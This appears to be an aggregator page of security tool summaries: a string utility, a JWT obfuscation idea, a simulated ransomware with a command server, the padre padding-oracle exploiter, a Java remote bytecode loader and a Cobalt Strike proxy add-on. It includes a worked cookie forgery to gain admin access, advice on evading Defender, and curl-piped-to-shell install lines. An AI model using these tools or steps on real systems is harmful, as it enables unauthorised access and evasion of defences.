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Sttr - Cross-Platform, Cli App To Perform Various Operations On String

By: Zion3R


sttr is command line software that allows you to quickly run various transformation operations on the string.


// With input prompt
sttr

// Direct input
sttr md5 "Hello World"

// File input
sttr md5 file.text
sttr base64-encode image.jpg

// Reading from different processor like cat, curl, printf etc..
echo "Hello World" | sttr md5
cat file.txt | sttr md5

// Writing output to a file
sttr yaml-json file.yaml > file-output.json

:movie_camera: Demo

:battery: Installation

Quick install

You can run the below curl to install it somewhere in your PATH for easy use. Ideally it will be installed at ./bin folder

curl -sfL https://raw.githubusercontent.com/abhimanyu003/sttr/main/install.sh | sh

Webi

MacOS / Linux

curl -sS https://webi.sh/sttr | sh

Windows

curl.exe https://webi.ms/sttr | powershell

See here

Homebrew

If you are on macOS and using Homebrew, you can install sttr with the following:

brew tap abhimanyu003/sttr
brew install sttr

Snap

sudo snap install sttr

Arch Linux

yay -S sttr-bin

Scoop

scoop bucket add sttr https://github.com/abhimanyu003/scoop-bucket.git
scoop install sttr

Go

go install github.com/abhimanyu003/sttr@latest

Manually

Download the pre-compiled binaries from the Release! page and copy them to the desired location.

:books: Guide

  • After installation simply run sttr command.
// For interactive menu
sttr
// Provide your input
// Press two enter to open operation menu
// Press `/` to filter various operations.
// Can also press UP-Down arrows select various operations.
  • Working with help.
sttr -h

// Example
sttr zeropad -h
sttr md5 -h
  • Working with files input.
sttr {command-name} {filename}

sttr base64-encode image.jpg
sttr md5 file.txt
sttr md-html Readme.md
  • Writing output to file.
sttr yaml-json file.yaml > file-output.json
  • Taking input from other command.
curl https: //jsonplaceholder.typicode.com/users | sttr json-yaml
  • Chaining the different processor.
sttr md5 hello | sttr base64-encode

echo "Hello World" | sttr base64-encode | sttr md5

:boom: Supported Operations

Encode/Decode

  • [x] ascii85-encode - Encode your text to ascii85
  • [x] ascii85-decode - Decode your ascii85 text
  • [x] base32-decode - Decode your base32 text
  • [x] base32-encode - Encode your text to base32
  • [x] base64-decode - Decode your base64 text
  • [x] base64-encode - Encode your text to base64
  • [x] base85-encode - Encode your text to base85
  • [x] base85-decode - Decode your base85 text
  • [x] base64url-decode - Decode your base64 url
  • [x] base64url-encode - Encode your text to url
  • [x] html-decode - Unescape your HTML
  • [x] html-encode - Escape your HTML
  • [x] rot13-encode - Encode your text to ROT13
  • [x] url-decode - Decode URL entities
  • [x] url-encode - Encode URL entities

Hash

  • [x] bcrypt - Get the Bcrypt hash of your text
  • [x] md5 - Get the MD5 checksum of your text
  • [x] sha1 - Get the SHA1 checksum of your text
  • [x] sha256 - Get the SHA256 checksum of your text
  • [x] sha512 - Get the SHA512 checksum of your text

String

  • [x] camel - Transform your text to CamelCase
  • [x] kebab - Transform your text to kebab-case
  • [x] lower - Transform your text to lower case
  • [x] reverse - Reverse Text ( txeT esreveR )
  • [x] slug - Transform your text to slug-case
  • [x] snake - Transform your text to snake_case
  • [x] title - Transform your text to Title Case
  • [x] upper - Transform your text to UPPER CASE

Lines

  • [x] count-lines - Count the number of lines in your text
  • [x] reverse-lines - Reverse lines
  • [x] shuffle-lines - Shuffle lines randomly
  • [x] sort-lines - Sort lines alphabetically
  • [x] unique-lines - Get unique lines from list

Spaces

  • [x] remove-spaces - Remove all spaces + new lines
  • [x] remove-newlines - Remove all new lines

Count

  • [x] count-chars - Find the length of your text (including spaces)
  • [x] count-lines - Count the number of lines in your text
  • [x] count-words - Count the number of words in your text

RGB/Hex

  • [x] hex-rgb - Convert a #hex-color code to RGB
  • [x] hex-encode - Encode your text Hex
  • [x] hex-decode - Convert Hexadecimal to String

JSON

  • [x] json - Format your text as JSON
  • [x] json-escape - JSON Escape
  • [x] json-unescape - JSON Unescape
  • [x] json-yaml - Convert JSON to YAML text
  • [x] json-msgpack - Convert JSON to MSGPACK
  • [x] msgpack-json - Convert MSGPACK to JSON

YAML

  • [x] yaml-json - Convert YAML to JSON text

Markdown

  • [x] markdown-html - Convert Markdown to HTML

Extract

  • [x] extract-emails - Extract emails from given text
  • [x] extract-ip - Extract IPv4 and IPv6 from your text
  • [x] extract-urls - Extract URls your text ( we don't do ping check )

Other

  • [x] escape-quotes - escape single and double quotes from your text
  • [x] completion - generate the autocompletion script for the specified shell
  • [x] interactive - Use sttr in interactive mode
  • [x] version - Print the version of sttr
  • [x] zeropad - Pad a number with zeros
  • [x] and adding more....

Featured On

These are the few locations where sttr was highlighted, many thanks to all of you. Please feel free to add any blogs/videos you may have made that discuss sttr to the list.



Some-Tweak-To-Hide-Jwt-Payload-Values - A Handful Of Tweaks And Ideas To Safeguard The JWT Payload

By: Zion3R


some-tweak-to-hide-jwt-payload-values
  • a handful of tweaks and ideas to safeguard the JWT payload, making it futile to attempt decoding by constantly altering its value,
    ensuring the decoded output remains unintelligible while imposing minimal performance overhead.


What is a JWT Token?

A JSON Web Token (JWT, pronounced "jot") is a compact and URL-safe way of passing a JSON message between two parties. It's a standard, defined in RFC 7519. The token is a long string, divided into parts separated by dots. Each part is base64 URL-encoded.

What parts the token has depends on the type of the JWT: whether it's a JWS (a signed token) or a JWE (an encrypted token). If the token is signed it will have three sections: the header, the payload, and the signature. If the token is encrypted it will consist of five parts: the header, the encrypted key, the initialization vector, the ciphertext (payload), and the authentication tag. Probably the most common use case for JWTs is to utilize them as access tokens and ID tokens in OAuth and OpenID Connect flows, but they can serve different purposes as well.


Primary Objective of this Code Snippet

This code snippet offers a tweak perspective aiming to enhance the security of the payload section when decoding JWT tokens, where the stored keys are visible in plaintext. This code snippet provides a tweak perspective aiming to enhance the security of the payload section when decoding JWT tokens. Typically, the payload section appears in plaintext when decoded from the JWT token (base64). The main objective is to lightly encrypt or obfuscate the payload values, making it difficult to discern their meaning. The intention is to ensure that even if someone attempts to decode the payload values, they cannot do so easily.


userid
  • The code snippet targets the key named "userid" stored in the payload section as an example.
  • The choice of "userid" stems from its frequent use for user identification or authentication purposes after validating the token's validity (e.g., ensuring it has not expired).

The idea behind attempting to obscure the value of the key named "userid" is as follows:


Encryption:
  • The timestamp is hashed and then encrypted by performing bitwise XOR operation with the user ID.
  • XOR operation is performed using a symmetric key.
  • The resulting value is then encoded using Base64.

Decryption:
  • Encrypted data is decoded using Base64.
  • Decryption is performed by XOR operation with the symmetric key.
  • The original user ID and hashed timestamp are revealed in plaintext.
  • The user ID part is extracted by splitting at the "|" delimiter for relevant use and purposes.

Symmetric Key for XOR Encoding:
  • Various materials can be utilized for this key.
  • It could be a salt used in conventional password hashing, an arbitrary random string, a generated UUID, or any other suitable material.
  • However, this key should be securely stored in the database management system (DBMS).

and..^^

in the example, the key is shown as { 'userid': 'random_value' },
making it apparent that it represents a user ID.

However, this is merely for illustrative purposes.

In practice, a predetermined and undisclosed name is typically used.
For example, 'a': 'changing_random_value'

Notes
  • This code snippet is created for educational purposes and serves as a starting point for ideas rather than being inherently secure.
  • It provides a level of security beyond plaintext visibility but does not guarantee absolute safety.

Attempting to tamper with JWT tokens generated using this method requires access to both the JWT secret key and the XOR symmetric key used to create the UserID.


And...
  • If you find this helpful, please the "star":star2: to support further improvements.

preview
# python3 main.py

- Current Unix Timestamp: 1709160368
- Current Unix Timestamp to Human Readable: 2024-02-29 07:46:08

- userid: 23243232
- XOR Symmetric key: b'generally_user_salt_or_hash_or_random_uuid_this_value_must_be_in_dbms'
- JWT Secret key: yes_your_service_jwt_secret_key

- Encoded UserID and Timestamp: VVZcUUFTX14FOkdEUUFpEVZfTWwKEGkLUxUKawtHOkAAW1RXDGYWQAo=
- Decoded UserID and Hashed Timestamp: 23243232|e27436b7393eb6c2fb4d5e2a508a9c5c

- JWT Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0aW1lc3RhbXAiOiIyMDI0LTAyLTI5IDA3OjQ2OjA4IiwidXNlcmlkIjoiVlZaY1VVRlRYMTRGT2tkRVVVRnBFVlpmVFd3S0VHa0xVeFVLYXd0SE9rQUFXMVJYREdZV1FBbz0ifQ.bM_6cBZHdXhMZjyefr6YO5n5X51SzXjyBUEzFiBaZ7Q
- Decoded JWT: {'timestamp': '2024-02-29 07:46:08', 'userid': 'VVZcUUFTX14FOkdEUUFpEVZfTWwKEGkLUxUKawtHOkAAW1RXDGYWQAo='}


# run again
- Decoded JWT: {'timestamp': '2024-02-29 08:16:36', 'userid': 'VVZcUUFTX14FaRNAVBRpRQcORmtWRGl eVUtRZlYXaBZZCgYOWGlDR10='}
- Decoded JWT: {'timestamp': '2024-02-29 08:16:51', 'userid': 'VVZcUUFTX14FZxMRVUdnEgJZEmxfRztRVUBabAsRZkdVVlJWWztGQVA='}
- Decoded JWT: {'timestamp': '2024-02-29 08:17:01', 'userid': 'VVZcUUFTX14FbxYQUkM8RVRZEmkLRWsNUBYNb1sQPREFDFYKDmYRQV4='}
- Decoded JWT: {'timestamp': '2024-02-29 08:17:09', 'userid': 'VVZcUUFTX14FbUNEVEVqEFlaTGoKQjxZBRULOlpGPUtSClALWD5GRAs='}



RansomwareSim - A Simulated Ransomware

By: Zion3R

Overview

RansomwareSim is a simulated ransomware application developed for educational and training purposes. It is designed to demonstrate how ransomware encrypts files on a system and communicates with a command-and-control server. This tool is strictly for educational use and should not be used for malicious purposes.

Features

  • Encrypts specified file types within a target directory.
  • Changes the desktop wallpaper (Windows only).
  • Creates&Delete a README file on the desktop with a simulated ransom note.
  • Simulates communication with a command-and-control server to send system data and receive a decryption key.
  • Decrypts files after receiving the correct key.

Usage

Important: This tool should only be used in controlled environments where all participants have given consent. Do not use this tool on any system without explicit permission. For more, read SECURE

Requirements

  • Python 3.x
  • cryptography
  • colorama

Installation

  1. Clone the repository:

    git clone https://github.com/HalilDeniz/RansomwareSim.git
  2. Navigate to the project directory:

    cd RansomwareSim
  3. Install the required dependencies:

    pip install -r requirements.txt

๏“– My Book

Running the Control Server

  1. Open controlpanel.py.
  2. Start the server by running controlpanel.py.
  3. The server will listen for connections from RansomwareSim and the Decoder.

Running the Simulator

  1. Navigate to the directory containing RansomwareSim.
  2. Modify the main function in encoder.py to specify the target directory and other parameters.
  3. Run encoder.py to start the encryption process.
  4. Follow the instructions displayed on the console.

Running the Decoder

  1. Run decoder.py after the files have been encrypted.
  2. Follow the prompts to input the decryption key.

Disclaimer

RansomwareSim is developed for educational purposes only. The creators of RansomwareSim are not responsible for any misuse of this tool. This tool should not be used in any unauthorized or illegal manner. Always ensure ethical and legal use of this tool.

Contributing

Contributions, suggestions, and feedback are welcome. Please create an issue or pull request for any contributions.

  1. Fork the repository.
  2. Create a new branch for your feature or bug fix.
  3. Make your changes and commit them.
  4. Push your changes to your forked repository.
  5. Open a pull request in the main repository.

Contact

For any inquiries or further information, you can reach me through the following channels:



Padre - Blazing Fast, Advanced Padding Oracle Exploit

By: Zion3R


padre is an advanced exploiter for Padding Oracle attacks against CBC mode encryption

Features:

  • blazing fast, concurrent implementation
  • decryption of tokens
  • encryption of arbitrary data
  • automatic fingerprinting of padding oracles
  • automatic detection of cipher block length
  • HINTS! if failure occurs during operations, padre will hint you about what can be tweaked to succeed
  • supports tokens in GET/POST parameters, Cookies
  • flexible specification of encoding rules (base64, hex, etc.)

Demo

Installation/Update

  • Fastest way is to download pre-compiled binary for your OS from Latest release

  • Alternatively, if you have Go installed, build from source:

go install github.com/glebarez/padre@latest

Usage scenario

If you find a suspected padding oracle, where the encrypted data is stored inside a cookie named SESS, you can use the following:

padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='

padre will automatically fingerprint HTTP responses to determine if padding oracle can be confirmed. If server is indeed vulnerable, the provided token will be decrypted into something like:

 {"user_id": 456, "is_admin": false}

It looks like you could elevate your privileges here!

You can attempt to do so by first generating your own encrypted data that the oracle will decrypt back to some sneaky plaintext:

padre -u 'https://target.site/profile.php' -cookie 'SESS=$' -enc '{"user_id": 456, "is_admin": true}'

This will spit out another encoded set of encrypted data, perhaps something like below (if base64 used):

dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=

Now you can open your browser and set the value of the SESS cookie to the above value. Loading the original oracle page, you should now see you are elevated to admin level.

Impact of padding Oracles

  • disclosing encrypted session information
  • bypassing authentication
  • providing fake tokens that server will trust
  • generally, broad extension of attack surface

Full usage options

Usage: padre [OPTIONS] [INPUT]

INPUT:
In decrypt mode: encrypted data
In encrypt mode: the plaintext to be encrypted
If not passed, will read from STDIN

NOTE: binary data is always encoded in HTTP. Tweak encoding rules if needed (see options: -e, -r)

OPTIONS:

-u *required*
target URL, use $ character to define token placeholder (if present in URL)

-enc
Encrypt mode

-err
Regex pattern, HTTP response bodies will be matched against this to detect padding oracle. Omit to perform automatic fingerprinting

-e
Encoding to apply to binary data. Supported values:
b64 (standard base64) *default*
lhex (lowercase hex)

-r
Additional replacements to apply after encoding binary data. Use odd-length strings, consiting of pairs of characters <OLD><NEW>.
Example:
If server uses base64, but replaces '/' with '!', '+' with '-', '=' with '~', then use -r "/!+-=~"

-cookie
Cookie value to be set in HTTP requests. Use $ character to mark token placeholder.

-post
String data to perform POST requests. Use $ character to mark token placeholder.

-ct
Content-Type for POST requests. If not specified, Content-Type will be determined automatically.

-b
Block length used in cipher (use 16 for AES). Omit to perform automatic detection. Supported values:
8
16 *default*
32

-p
Number of parallel HTTP connections established to target server [1-256]
30 *default*

-proxy
HTTP proxy. e.g. use -proxy "http://localhost:8080" for Burp or ZAP

Further read

Alternative tools



Java-Remote-Class-Loader - Tool to send Java bytecode to your victims to load and execute using Java ClassLoader together with Reflect API


This tool allows you to send Java bytecode in the form of class files to your clients (or potential targets) to load and execute using Java ClassLoader together with Reflect API. The client receives the class file from the server and return the respective execution output. Payloads must be written in Java and compiled before starting the server.


Features

  • Client-server architecture
  • Remote loading of Java class files
  • In-transit encryption using ChaCha20 cipher
  • Settings defined via args
  • Keepalive mechanism to re-establish communication if server restarts

Installation

Tool has been tested using OpenJDK 11 with JRE Java Package, both on Windows and Linux (zip portable version). Java version should be 11 or higher due to dependencies.

https://www.openlogic.com/openjdk-downloads

Usage

$ java -jar java-class-loader.jar -help

usage: Main
-address <arg> address to connect (client) / to bind (server)
-classfile <arg> filename of bytecode .class file to load remotely
(default: Payload.class)
-classmethod <arg> name of method to invoke (default: exec)
-classname <arg> name of class (default: Payload)
-client run as client
-help print this message
-keepalive keeps the client getting classfile from server every
X seconds (default: 3 seconds)
-key <arg> secret key - 256 bits in base64 format (if not
specified it will generate a new one)
-port <arg> port to connect (client) / to bind (server)
-server run as server

Example

Assuming you have the following Hello World payload in the Payload.java file:

//Payload.java
public class Payload {
public static String exec() {
String output = "";
try {
output = "Hello world from client!";
} catch (Exception e) {
e.printStackTrace();
}
return output;
}
}

Then you should compile and produce the respective Payload.class file.

To run the server process listening on port 1337 on all net interfaces:

$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class

Running as server
Server running on 0.0.0.0:1337
Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

On the client side, you may use the same JAR package with the -client flag and use the symmetric key generated by server. Specify the server IP address and port to connect to. You may also change the class name and class method (defaults are Payload and String exec() respectively). Additionally, you can specify -keepalive to keep the client requesting class file from server while maintaining the connection.

$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

Running as client
Connecting to 192.168.1.73:1337
Received 593 bytes from server
Output from invoked class method: Hello world from client!
Sent 24 bytes to server

References

Refer to https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/ for a blog post related with the development of this tool.

  1. https://github.com/rebeyond/Behinder

  2. https://github.com/AntSwordProject/antSword

  3. https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/

  4. https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis

  5. https://xz.aliyun.com/t/2799

  6. https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7

  7. https://venishjoe.net/post/dynamically-load-compiled-java-class/

  8. https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php

  9. https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/

  10. https://openjdk.org/jeps/329

  11. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html

  12. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html



Chisel-Strike - A .NET XOR Encrypted Cobalt Strike Aggressor Implementation For Chisel To Utilize Faster Proxy And Advanced Socks5 Capabilities


A .NET XOR encrypted cobalt strike aggressor implementation for chisel to utilize faster proxy and advanced socks5 capabilities.


Why write this?

In my experience I found socks4/socks4a proxies quite slow in comparison to its socks5 counterparts and a lack of implementation of socks5 in most C2 frameworks. There is a C# wrapper around the go version of chisel called SharpChisel. This wrapper has a few issues and isn't maintained to the latest version of chisel. It didnโ€™t allow using shellcode with donut, reflectio n methods or execute-assembly. I found a fix for this using the SharpChisel-NG project.

Since the SharpChisel assembly is around 16.7 MB, execute-assembly(has a hidden size limitation of 1 MB) and similar in memory methods wouldnโ€™t work. To maintain most of the execution in memory I incorporated the NetLoader project by Flangvik which is executed via execute-assembly to reflectively host and load a XOR encrypted version of SharpChisel with base64 arguments in memory.

As an alternative, it is also possible to implement similar C# proxies like SharpSocks by replacing the appropriate chisel binaries in the project.

Setup

Note: If using a Windows teamserver skip steps 2 and 3.

  1. Clone/download the repository: git clone https://github.com/m3rcer/Chisel-Strike.git

  2. Make all binaries executable:

  • cd Chisel-Strike

  • chmod +x -R chisel-modules

  • chmod +x -R tools

  1. Install Mingw-w64 and mono:
  • sudo apt-get install mingw-w64

  • sudo apt install mono-complete

  1. Import ChiselStrike.cna in cobalt strike using the Script Manager

Recompile binaries from the src folder if needed.

Usage

chisel can be executed on both the teamserver (windows/linux) and the beacon. With either acting as the server/client. A normal execution flow would be to setup a chisel server on the teamserver and create a client on the beacon connecting back to the teamserver.

Commands

  1. chisel <client/server> <command>: Run Chisel on a beacon

  2. chisel-tms <client/server> <command>: Run Chisel on your teamserver

  3. chisel-enc: XOR Encrypt SharpChisel.exe with a password of choice

  4. chisel-jobs: List active chisel jobs on the teamserver and beacon

  5. chisel-kill: Kill active chisel jobs on a beacon

  6. chisel-tms-kill: Kill active chisel jobs on teamserver

Example

OPSEC

NetLoader can easily be obfuscated and used to bypass defender using projects like NimCrypt2 and the like.

Yet SharpChisel.exe drops a dll on disk due to the use of Costura/Fody packages at a location similar to: C:\Users\m3rcer\AppData\Local\Temp\Costura\CB9433C24E75EC539BF34CD1AA12B236\64\main.dll which is detected by defender. It is advised to obfuscate chisel dll's using projects like gobfuscate in the SharpChisel-NG project and re-build new SharpChisel-NG binaries as shown here.

TODO

  • Figure a way to avoid SharpChisel dropping main.dll on disk / Create a new C# wrapper for chisel.

  • Create a method to parse command output for the chisel-tms command.

Credits



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